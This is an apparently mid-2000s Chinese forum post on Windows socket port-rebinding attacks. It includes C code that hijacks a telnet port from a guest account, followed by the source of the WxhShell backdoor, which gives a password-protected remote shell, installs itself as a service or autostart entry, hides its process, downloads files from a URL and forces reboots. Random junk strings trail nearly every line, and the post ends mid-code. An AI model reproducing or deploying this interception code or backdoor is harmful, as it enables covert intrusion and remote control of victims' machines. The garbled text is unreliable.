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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: nn!W-Bsqjh  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F[mL_JU  
5SKj% %B2,  
  saddr.sin_family = AF_INET; [=imF^=3Vb  
hs< )<  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); WrBiAh,  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [`^5Zb  
'=}F}[d"kk  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 J P'|v"  
&y"e|aE  
  这意味着什么?意味着可以进行如下的攻击: Y}BT| "  
^3?]S{1/#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1 i # .h$  
<hazrKUn  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) + >?"P^  
gwwYz]'d>r  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 mb_*FJB-_  
z)N8#Y~vn  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  |9c J O@  
}_m/3*x_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ]G m"U!h*  
p\T.l <p  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 70IBE[T&  
>DqV^%2l  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 g9~>mJR  
ak]:ir`o  
  #include  <yE  
  #include CqGi 2<2  
  #include d*;wHA,}F  
  #include    MBZ/Pzl~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *mH++3h  
  int main() 5lehASBz  
  { Fy_D[g  
  WORD wVersionRequested; kpFt  
  DWORD ret; vqDd][n  
  WSADATA wsaData; ";\na!MT  
  BOOL val; 5{ ?J5  
  SOCKADDR_IN saddr; z.EpRJn  
  SOCKADDR_IN scaddr; ZdQt!  
  int err; ,kiyx h^  
  SOCKET s; /~RY{ c@#L  
  SOCKET sc; _)AX/%^%  
  int caddsize; ##Jg>HL'  
  HANDLE mt; AP*Z0OFE  
  DWORD tid;   %DH2]B? 0  
  wVersionRequested = MAKEWORD( 2, 2 ); e%_2n=p~)%  
  err = WSAStartup( wVersionRequested, &wsaData ); @AM;58.  
  if ( err != 0 ) { ; C/:$l  
  printf("error!WSAStartup failed!\n"); O~Eju  
  return -1; z2:^Qg  
  } +zM WIG  
  saddr.sin_family = AF_INET; -'ff0l  
   G 92\` Q  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Pyfj[m4+}  
Se*o{V3s$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @,btQ_'X  
  saddr.sin_port = htons(23); oNW5/W2e;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) vhe[:`=a  
  { i> }P V  
  printf("error!socket failed!\n"); i}d^a28  
  return -1; $2lrP]`>j.  
  } <7-Qn(m,  
  val = TRUE; zF'LbQz0[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ^lADq']  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) x z5 V.  
  { XNODDH   
  printf("error!setsockopt failed!\n"); `<}Q4p  
  return -1; _`'VOY`o  
  } Wx~N1+  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /{h@A~<96  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;Ih:$"$!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 PtP{_9%Dz  
2Fwp\I;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {p -q&k&R|  
  { |ipL.<v7  
  ret=GetLastError(); Pv@P(y?\  
  printf("error!bind failed!\n"); <0R$yB  
  return -1; -%R3YU3  
  } >/W  
  listen(s,2); PHZ+u@AA6@  
  while(1) {,V.IDs8[  
  { 0^?:Zds  
  caddsize = sizeof(scaddr); U7GgGMw  
  //接受连接请求 X9ua&T2(l  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `cu W^/c  
  if(sc!=INVALID_SOCKET) %9 kOl  
  { fjD/<`}v  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); YVSAYv_ZG}  
  if(mt==NULL) ~< ~PaP$=\  
  { ^t X}5i`P  
  printf("Thread Creat Failed!\n"); }2@Aj  
  break; +hoZW R  
  } 6} b1*xQ  
  } e+`LtEve0  
  CloseHandle(mt); =EE>QM  
  } K=S-p3\g  
  closesocket(s); H[H+s!)"  
  WSACleanup(); +MHsdeGU1W  
  return 0; _>:R]2Ew  
  }   kBF.TGT[l  
  DWORD WINAPI ClientThread(LPVOID lpParam) /#WRd}IjK  
  { 'MF|(`  
  SOCKET ss = (SOCKET)lpParam; ^t p6G  
  SOCKET sc; (T&rvE  
  unsigned char buf[4096]; yiourR)H<  
  SOCKADDR_IN saddr; uP;qs8  
  long num; suo;+T=`I  
  DWORD val; rf}@16O$'  
  DWORD ret; HhZlHL  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ~f:y^`+Q[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {lNvKm)w  
  saddr.sin_family = AF_INET; r .&<~x  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); k&oq6!ix  
  saddr.sin_port = htons(23); o p{DPUO0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) NoSq:e  
  { yf 7Sz$Eq  
  printf("error!socket failed!\n"); ">-J+ST%  
  return -1; ,Z_aZD4  
  } YB;q5[  
  val = 100; h\]D:S  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3u&>r-V6Fn  
  { *?l-:bc]  
  ret = GetLastError(); 397IbZ\  
  return -1; l*l?aI  
  } 3vcKK;qCB  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `lI(SS]w  
  { 1]DPy+  
  ret = GetLastError(); gfr y5e  
  return -1;  gAFu  
  } [.ya&E)x  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) oR``Jiob|  
  { _lK+/"-l  
  printf("error!socket connect failed!\n"); ,RA;X  
  closesocket(sc); jUtFDw  
  closesocket(ss); 3izGMH_`  
  return -1; sN"JVJXi  
  } F=T};b  
  while(1) seNJ6p=`  
  { @^O+ulLJ,]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }KEL{VUX  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 j@ehcK9|  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 `<cn b!]  
  num = recv(ss,buf,4096,0); [wLK*9@&  
  if(num>0) KR49Y>s<  
  send(sc,buf,num,0); d9qA\ [  
  else if(num==0) a;GuFnfn,  
  break; s|cL mL[  
  num = recv(sc,buf,4096,0); k'(d$;Jgr  
  if(num>0) By&ibN),  
  send(ss,buf,num,0); v@qU<\Y>  
  else if(num==0) J>o%6D  
  break; :" ta#g'  
  } %I`%N2ss  
  closesocket(ss); ?QbxC,& i  
  closesocket(sc); AlVB hR`  
  return 0 ; @N(*1,s2  
  } #8{U0 7]"  
[9-&Lq_ g  
w$`[C+L  
========================================================== ],?$&  
@7}]\}SR  
下边附上一个代码,,WXhSHELL [?QU'[  
b235Zm  
========================================================== REK(^1 h  
hxT{!g  
#include "stdafx.h" Hv3<gyD  
QDHTP|2e  
#include <stdio.h> oh?@[U  
#include <string.h> @ ,9cpaL3  
#include <windows.h> s MZ90Q$  
#include <winsock2.h> m-wK8]t9  
#include <winsvc.h> X~o6Xkg  
#include <urlmon.h> Rr%CP[bH  
>QA;02  
#pragma comment (lib, "Ws2_32.lib") ^!FLi7X  
#pragma comment (lib, "urlmon.lib") -wdd'G  
X5Fi , /H  
#define MAX_USER   100 // 最大客户端连接数 Y|3n^%I  
#define BUF_SOCK   200 // sock buffer uOv0ut\\G  
#define KEY_BUFF   255 // 输入 buffer :(?F(Q^  
 l,lfkm  
#define REBOOT     0   // 重启 CRh.1-  
#define SHUTDOWN   1   // 关机 h!zev~u1)`  
U3-cH  
#define DEF_PORT   5000 // 监听端口 CGp7 Tx#  
V_Xq&!HN[  
#define REG_LEN     16   // 注册表键长度 ?l/$cO  
#define SVC_LEN     80   // NT服务名长度 O]1aez[  
C1M @;  
// 从dll定义API )8_ x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q)s`~G({P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BYKONZu  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JNx;/6'd,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3~ptD5@WF  
nf2[hx@=U  
// wxhshell配置信息 "<=HmE-;  
struct WSCFG { |jhu  
  int ws_port;         // 监听端口 m\DI6O"u'  
  char ws_passstr[REG_LEN]; // 口令 \Ctl(uj  
  int ws_autoins;       // 安装标记, 1=yes 0=no Vx#n0z  
  char ws_regname[REG_LEN]; // 注册表键名 UVUoXv)N  
  char ws_svcname[REG_LEN]; // 服务名 d7U%Q8?wUR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 eKv{N\E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 u$MXO].Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 oNFvRb2Rd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no a0/[L  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" n#dvBK0M  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t/KH`  
L"(k;Mfe  
}; {kdS t1  
AEw~LF2w  
// default Wxhshell configuration mE)I(< %  
struct WSCFG wscfg={DEF_PORT, /4 M~ 6LT`  
    "xuhuanlingzhe", vxt<}h5J/!  
    1, -"} mmTa*<  
    "Wxhshell", j` 5K7~hv  
    "Wxhshell", 5<RZ ht$i  
            "WxhShell Service", 1(`UzC=R|  
    "Wrsky Windows CmdShell Service", Pe`eF(J  
    "Please Input Your Password: ", M\!z='Fi  
  1, _9 B ^@~  
  "http://www.wrsky.com/wxhshell.exe", JO=kfWW  
  "Wxhshell.exe" $%"?0S  
    }; ~/R bYvyA  
;W2Rl%z88  
// 消息定义模块 Q^@z]Sc[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; VQ(l=k:}2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; J;#7dRW{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n%&+yg   
char *msg_ws_ext="\n\rExit."; ^)%TQ.  
char *msg_ws_end="\n\rQuit."; 6xT" j)h  
char *msg_ws_boot="\n\rReboot..."; g?1! /+  
char *msg_ws_poff="\n\rShutdown..."; wyC1M  
char *msg_ws_down="\n\rSave to "; _!:*&{  
4.&hV?Kxz  
char *msg_ws_err="\n\rErr!"; C'S&  
char *msg_ws_ok="\n\rOK!"; i!7|YAu  
x:0nK,  
char ExeFile[MAX_PATH]; d>-k-X-[  
int nUser = 0; 0)HZ5^J  
HANDLE handles[MAX_USER]; L^%jR=  
int OsIsNt; cd3;uB4\,  
ZGgM- O1  
SERVICE_STATUS       serviceStatus; ]dU/;8/%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; uk<JV*R=  
_I<LB0kgf.  
// 函数声明 `F,*NESv  
int Install(void); Jr.4Y>;}e3  
int Uninstall(void); (;T g1$  
int DownloadFile(char *sURL, SOCKET wsh); o"M h wh  
int Boot(int flag); o4Hp|iK&0  
void HideProc(void); UtzM+7r@  
int GetOsVer(void); Z%9_vpWc  
int Wxhshell(SOCKET wsl); ]R%+  
void TalkWithClient(void *cs); Re]7G.y  
int CmdShell(SOCKET sock); y=q iGi[Nc  
int StartFromService(void); dOx0'q"Z  
int StartWxhshell(LPSTR lpCmdLine); /^9KZj  
fb;y*-?#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yRtxh_wr9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6Sr}I,DG  
cwC-)#R']  
// 数据结构和表定义 1J?x2  
SERVICE_TABLE_ENTRY DispatchTable[] = 89+Q^79m  
{ eUZvJTE  
{wscfg.ws_svcname, NTServiceMain}, #Ks2a):8  
{NULL, NULL} N799@:.  
}; $^Z ugD  
9yWQ}h  
// 自我安装 >j}.~$6dj_  
int Install(void) _I A{I  
{ e)): U  
  char svExeFile[MAX_PATH]; d7i 0'R  
  HKEY key; ITr@;@}c]  
  strcpy(svExeFile,ExeFile); kr{eC/Q"  
^wTod\y  
// 如果是win9x系统,修改注册表设为自启动 xu(N'l.7&  
if(!OsIsNt) { M9dOLM.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]O 8hkGa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); # *)X+*  
  RegCloseKey(key); :}{,u6\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %[J|n~8_Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /AhN$)(O  
  RegCloseKey(key); Api<q2@R  
  return 0;  /gUD!@  
    } 's7 (^1hH  
  } {6Qd,CX  
} ! 1wf/C;=  
else { 8D5v'[j-  
0k):OVfm=  
// 如果是NT以上系统,安装为系统服务 :o=a@Rqx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 60Szn]z'8[  
if (schSCManager!=0) j _p|>f<}  
{ 2PVtyV3;  
  SC_HANDLE schService = CreateService 2|:xb9#  
  ( V0/O T~gS8  
  schSCManager, alz2F.%Y  
  wscfg.ws_svcname, 4pG!m&4]ze  
  wscfg.ws_svcdisp, EN/e`S$)  
  SERVICE_ALL_ACCESS, J0V\_ja-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hJkF-yW  
  SERVICE_AUTO_START, dVe  
  SERVICE_ERROR_NORMAL, 45H(.}&f  
  svExeFile, _+NM<o#A  
  NULL, YfZ96C[a  
  NULL, f>kW\uC  
  NULL, EI!e0 V1!  
  NULL, f.Feo  
  NULL 8-uRn38  
  ); 8AQ@?\Rc"2  
  if (schService!=0) vAH`tPi>  
  { {(j1#9+9  
  CloseServiceHandle(schService); ,[{Z_co  
  CloseServiceHandle(schSCManager); b 9cY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6E0{(*  
  strcat(svExeFile,wscfg.ws_svcname); ie9,ye"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .Mz'h 9@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l.@&B@5F  
  RegCloseKey(key); -er8(snDQ  
  return 0; )"4v0dv  
    } *p=a-s5-  
  } {-Q=YDR  
  CloseServiceHandle(schSCManager); Trz41g  
} TF7~eyLg  
} REc+@;B  
R}J}Q b  
return 1; X\ bXat+  
} Uk@'[_1z  
9W+RUh^W  
// 自我卸载 KE*8Y4#9  
int Uninstall(void) 7,:$, bL  
{ pxgVYr.  
  HKEY key; NR|t~C+  
O=2SDuBZ  
if(!OsIsNt) { sBV})8]K M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J rgpDZ  
  RegDeleteValue(key,wscfg.ws_regname); @24)*d^1  
  RegCloseKey(key); Ir\f _>7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RhQ[hI  
  RegDeleteValue(key,wscfg.ws_regname); 3X#)PX9b){  
  RegCloseKey(key); 3wf&,4`EX  
  return 0; 1SO!a R#g  
  } <-rw>,  
} #yi&-9B  
} ?D8 +wj  
else { [8$K i$;  
 QnN cGH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M# a1ev  
if (schSCManager!=0) 1xsIM'&  
{ y3{ F\K  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ##_Jz5P  
  if (schService!=0) I?Fv!5p  
  { yG..B  
  if(DeleteService(schService)!=0) { V_p[mSKJv  
  CloseServiceHandle(schService); g*%z{w  
  CloseServiceHandle(schSCManager); Kg>ehn4S@  
  return 0; 6Qh@lro;y  
  } U,e'vS{  
  CloseServiceHandle(schService); _dk/SWb)  
  } RjW< H6a"K  
  CloseServiceHandle(schSCManager); i?0+f }5<p  
} 4te QG  
} bWEti}kW  
;I@@PUnR  
return 1; h#o?O k  
} \[yg f6#[  
DLBHZ?+!  
// 从指定url下载文件 C0v1x=(xiM  
int DownloadFile(char *sURL, SOCKET wsh) LUN"p#1  
{ -Mx\W|YK  
  HRESULT hr; waRK$/b (  
char seps[]= "/"; ^Pp2T   
char *token; S%{^@L+V  
char *file; |ryV7VJ8  
char myURL[MAX_PATH]; <A+n[h  
char myFILE[MAX_PATH]; c4i%9E+Af  
s.qo/o\b  
strcpy(myURL,sURL); W _JGJV.^f  
  token=strtok(myURL,seps); _ 0g\g~[  
  while(token!=NULL) q47:kB{d  
  { TcEvUZJ"  
    file=token; P|' eM%  
  token=strtok(NULL,seps); ).l`N&_peM  
  } PT/TQW  
'2X6 >6`w  
GetCurrentDirectory(MAX_PATH,myFILE); :Y)jf  
strcat(myFILE, "\\"); n4%ZR~9WH  
strcat(myFILE, file); $vjl-1x&  
  send(wsh,myFILE,strlen(myFILE),0); MIF`|3$,  
send(wsh,"...",3,0); Z\. n6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +p"}F PIK  
  if(hr==S_OK) mJN*DP{  
return 0; H.=S08c3kA  
else P~d&PhOe  
return 1; x4=Sm0Ro|V  
hw9qnSeRy  
} 'h.:-1# L  
su\iUi  
// 系统电源模块 ;%W]b  
int Boot(int flag) YkuFt>U9,  
{ 7G]v(ay  
  HANDLE hToken; vnr{Ekg  
  TOKEN_PRIVILEGES tkp; 9Q /t+  
x,81#=m^h  
  if(OsIsNt) { ::`#qa4!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $LkTu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 734f &2  
    tkp.PrivilegeCount = 1; 0s'h2={iI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bpgvLZb>s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z}z 6Vg  
if(flag==REBOOT) { T0TgV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ($or@lfs  
  return 0; Vl\8*!OL%  
} M%(^GdI#Vf  
else { #ExNiFZ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xP+`scv*m#  
  return 0; hteAuz4H  
} 4}xw&x  
  } 2&o jQhe  
  else { I6-.;)McO  
if(flag==REBOOT) { v1O1-aM  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >K;DBy*  
  return 0; =IH~:D\&  
} o|G[/o2  
else { XDQ5qfE|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c$P68$FB  
  return 0; JEh(A=Eu>  
} kVe4#LT  
} YM r2|VEU[  
 ,7h0y  
return 1; "zZ Z h  
} `~k`m{4.a  
6Q*Zy[=  
// win9x进程隐藏模块 N5d)&a 7?  
void HideProc(void) Kg6[  
{ i9koh3R\  
'B\7P*L"p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f Hd|tl  
  if ( hKernel != NULL ) VS jt|F)t  
  { (|9t+KP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G$mAyK:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /P%OXn$i/  
    FreeLibrary(hKernel); 5_7y1  
  } ISHzlEY  
iu.v8I ;<  
return; B? Z_~Bf&  
} 9T#${NK  
%EH{p@nM&-  
// 获取操作系统版本 vdIert?p  
int GetOsVer(void) YN}vAFR`  
{ S7 !;Z@  
  OSVERSIONINFO winfo; NH'Dz6K5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zvbO q  
  GetVersionEx(&winfo); bY UG4+rD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SceK$  
  return 1; z5p5=KOb  
  else XY^]nm-{I  
  return 0; #IR,KX3]A  
} %E2b{Y;  
~JQ6V?fucD  
// 客户端句柄模块 p|+TgOYOc  
int Wxhshell(SOCKET wsl) $W]}m"l  
{ ")YD~ZA%)  
  SOCKET wsh; = 6'Fm$R  
  struct sockaddr_in client; ]{| wU.  
  DWORD myID; |/;;uK,y  
p1N3AhXY  
  while(nUser<MAX_USER) bRD-[)  
{ )uu(I5St  
  int nSize=sizeof(client); +L|x^ B3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Nsn~mY%  
  if(wsh==INVALID_SOCKET) return 1; cq0-D d9^&  
ryNe=9p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5=&ME(fmV  
if(handles[nUser]==0) c!ieN9^+  
  closesocket(wsh); J9-n3o  
else FBxg^g%PB@  
  nUser++; MfZamu5+F  
  } bae;2| w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6Ts[NXa  
}jg 1..)"<  
  return 0; N*+L'bO  
} OcLahz6  
)G),iy  
// 关闭 socket F0kdwN4;  
void CloseIt(SOCKET wsh) k+BY3a  
{ ]P/i}R:  
closesocket(wsh); #>M^BOR8  
nUser--; K7R!E,oPg  
ExitThread(0); 2m^qXE$  
} X-*LA*xbN  
fjCFJ_  
// 客户端请求句柄 d$^ @$E2f  
void TalkWithClient(void *cs) y* :C~  
{ U@9v(TfV  
21O@yNpS$  
  SOCKET wsh=(SOCKET)cs; @ZRg9M:N  
  char pwd[SVC_LEN]; DwGRv:&HH  
  char cmd[KEY_BUFF]; vmg[/#  
char chr[1]; nC(Lr,(  
int i,j; 1 -$+@Xl  
2wu\.{6Zp  
  while (nUser < MAX_USER) { dVg'v7G&V(  
Ma4eu8  
if(wscfg.ws_passstr) { vi.INe  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CG;+Z-"X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g:Q:cSg<  
  //ZeroMemory(pwd,KEY_BUFF); {n&GZG"f  
      i=0; Id1de>:;  
  while(i<SVC_LEN) { @?>5~  
aLl=L_  
  // 设置超时 %l,CJd5  
  fd_set FdRead; 7K ~)7U  
  struct timeval TimeOut; pk`5RDBu  
  FD_ZERO(&FdRead); zm8k,e +5-  
  FD_SET(wsh,&FdRead); ;d<O/y,:4  
  TimeOut.tv_sec=8; 5=\^DeM@ H  
  TimeOut.tv_usec=0; V-3;7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Cp+tcrd_s  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Fi/`3A@68  
:}2Tof2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A'$>~Ev  
  pwd=chr[0]; znDpg{U(  
  if(chr[0]==0xd || chr[0]==0xa) { Jd~Mq9(  
  pwd=0; jGoQXiX  
  break; Ii# +JY0k  
  } l$[,V:N  
  i++; 1]9l SE!E7  
    } #0?3RP  
y|=KrvMHJ  
  // 如果是非法用户,关闭 socket "[-W(=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n0G@BE1Y=  
} 4V;-*:  
U{qwhz(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U o aWI2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [kTckZv  
g}S%D(~  
while(1) { f:t j   
6q8PLyIp  
  ZeroMemory(cmd,KEY_BUFF); r9*6=*J|  
YeVo=hYH@  
      // 自动支持客户端 telnet标准   C\Z5%2<Z  
  j=0; q6b&b^r+H  
  while(j<KEY_BUFF) { T9'HQu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #3tC"2MZ  
  cmd[j]=chr[0]; bN6i*) }  
  if(chr[0]==0xa || chr[0]==0xd) { Z?d][zGw  
  cmd[j]=0; c[T@lz(!  
  break; cltx(C>   
  } qA[cF$CIl)  
  j++; EG|_YW7  
    } Yg}b%u,Q  
x0%yz+i{:  
  // 下载文件 $d,/(*Y#-  
  if(strstr(cmd,"http://")) { pFV~1W:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); uH(M@7"6_!  
  if(DownloadFile(cmd,wsh)) |Qb@.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); xj9xUun  
  else *K& $9fah  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); acgx')!c  
  } dWu;F^  
  else { Lxv6\3I+  
{;m|\652B  
    switch(cmd[0]) { of GoaH*h  
  52NI{"  
  // 帮助 J qmL|S)  
  case '?': { ggrkj0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;Wa&Dg/5`  
    break; Jl6lZd(Np  
  } dt>9mF q  
  // 安装 \ .+:yV<$  
  case 'i': { ;)SWwhQ  
    if(Install()) Bj"fUI!dK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m. \JO  
    else &;`E3$>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u.*}'C>^^v  
    break; ZD7qw*3+  
    } ~3&hvm[IQ  
  // 卸载 dPxJ`8  
  case 'r': { xZM4CR9]*C  
    if(Uninstall()) #_|O93HN'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g_! xD;0  
    else )]LP8 J&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /{P-WRz>  
    break; j,SZJ{ebXg  
    } yqtaQ0F~  
  // 显示 wxhshell 所在路径 a8G<x <  
  case 'p': { UI'fzlB  
    char svExeFile[MAX_PATH]; Ino]::ZJ/  
    strcpy(svExeFile,"\n\r"); '1fyBU  
      strcat(svExeFile,ExeFile); @,}tY ?>a  
        send(wsh,svExeFile,strlen(svExeFile),0); M ac?HI  
    break; \zwm:@lG  
    } .>~er?-  
  // 重启 U_.}V  
  case 'b': { m8G/;V[x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fU\;\  
    if(Boot(REBOOT)) a,)/D_{1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ksJ 1:_  
    else { ImD&~^-_<  
    closesocket(wsh); 86!$<!I  
    ExitThread(0); $ER9u2  
    } F-M)6&T  
    break; G:wO1f6  
    } 3OY(L`  
  // 关机 FFe{=H,=  
  case 'd': { J\p-5[E  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B/^o$i  
